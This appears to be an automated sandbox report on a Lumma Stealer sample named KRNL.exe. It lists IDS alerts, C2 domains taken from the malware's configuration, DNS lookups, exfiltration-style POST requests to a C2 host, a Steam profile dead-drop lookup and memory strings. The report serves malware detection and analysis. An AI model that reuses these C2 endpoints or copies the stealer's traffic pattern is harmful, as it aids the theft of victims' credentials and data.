Source: Network traffic	Suricata IDS: 2058584 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (prisonyfork .buzz) : 192.168.2.4:65221 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058586 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rebuildeso .buzz) : 192.168.2.4:59317 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058572 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (appliacnesot .buzz) : 192.168.2.4:65432 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058576 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cashfuzysao .buzz) : 192.168.2.4:58312 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058580 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (inherineau .buzz) : 192.168.2.4:56972 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058578 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hummskitnj .buzz) : 192.168.2.4:59352 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058590 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (screwamusresz .buzz) : 192.168.2.4:53017 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058582 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mindhandru .buzz) : 192.168.2.4:63882 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49733 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49735 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49735 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49739 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49741 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49734 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49734 -> 172.67.157.254:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz

Tries to resolve many domain names, but no domain seems valid

Source: unknown	DNS traffic detected: query: 206.23.85.13.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: screwamusresz.buzz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: scentniej.buzz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: prisonyfork.buzz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hummskitnj.buzz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mindhandru.buzz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: appliacnesot.buzz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cashfuzysao.buzz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rebuildeso.buzz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: inherineau.buzz replaycode: Name error (3)

Source: global traffic

TCP traffic: 192.168.2.4:54886 -> 162.159.36.2:53

Source: Joe Sandbox View	IP Address: 172.67.157.254 172.67.157.254
Source: Joe Sandbox View	IP Address: 104.102.49.254 104.102.49.254

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49738 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49740 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 172.67.157.254:443

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 51Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=LC4OYBSII4ZCJLUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18143Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=GGAL4P5RZVZHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8752Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=2SZAJ2DN9HSSBMB80User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20435Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=1XSU0JOGYUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1199Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7HO70WUPW0KCDJFRF2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 568307Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 86Host: lev-tolstoi.com

Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab. equals www.youtube.com (Youtube)
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=eb57dd49dd895c3631208604; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35121Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 01 Jan 2025 20:27:59 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: KRNL.exe, 00000002.00000003.1699717842.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: om/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab. equals www.youtube.com (Youtube)
Source: KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; o( equals www.youtube.com (Youtube)
Source: KRNL.exe, 00000002.00000003.1699717842.0000000003383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-sr+ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: mindhandru.buzz
Source: global traffic	DNS traffic detected: DNS query: prisonyfork.buzz
Source: global traffic	DNS traffic detected: DNS query: rebuildeso.buzz
Source: global traffic	DNS traffic detected: DNS query: scentniej.buzz
Source: global traffic	DNS traffic detected: DNS query: inherineau.buzz
Source: global traffic	DNS traffic detected: DNS query: screwamusresz.buzz
Source: global traffic	DNS traffic detected: DNS query: appliacnesot.buzz
Source: global traffic	DNS traffic detected: DNS query: cashfuzysao.buzz
Source: global traffic	DNS traffic detected: DNS query: hummskitnj.buzz
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com
Source: global traffic	DNS traffic detected: DNS query: 206.23.85.13.in-addr.arpa

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: KRNL.exe	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: KRNL.exe, 00000002.00000003.1737060730.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: KRNL.exe, 00000002.00000003.1737060730.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: KRNL.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: KRNL.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: KRNL.exe	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: KRNL.exe	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: KRNL.exe, 00000002.00000003.1737060730.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: KRNL.exe, 00000002.00000003.1737060730.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: KRNL.exe, 00000002.00000003.1737060730.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: KRNL.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: KRNL.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: KRNL.exe, 00000002.00000003.1737060730.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: KRNL.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: KRNL.exe, 00000002.00000003.1737060730.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: KRNL.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: KRNL.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: KRNL.exe	String found in binary or memory: http://ocsp.entrust.net02
Source: KRNL.exe	String found in binary or memory: http://ocsp.entrust.net03
Source: KRNL.exe, 00000002.00000003.1737060730.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710324005.00000000033DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710324005.00000000033DD000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699633987.000000000333A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710324005.00000000033DD000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699633987.000000000333A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: KRNL.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: KRNL.exe	String found in binary or memory: http://www.entrust.net/rpa03
Source: KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: KRNL.exe, 00000002.00000003.1737060730.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: KRNL.exe, 00000002.00000003.1737060730.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: KRNL.exe, 00000002.00000003.1711060415.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1711461120.0000000005A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699633987.000000000333A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: KRNL.exe, 00000002.00000003.1738159372.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: KRNL.exe, 00000002.00000003.1738159372.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: KRNL.exe, 00000002.00000003.1711060415.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1711461120.0000000005A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: KRNL.exe, 00000002.00000003.1699717842.0000000003383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: KRNL.exe, 00000002.00000003.1711060415.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1711461120.0000000005A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: KRNL.exe, 00000002.00000003.1711060415.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1711461120.0000000005A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: KRNL.exe, 00000002.00000003.1699717842.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampow
Source: KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699633987.000000000333A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699633987.000000000333A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710324005.00000000033DD000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699633987.000000000333A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
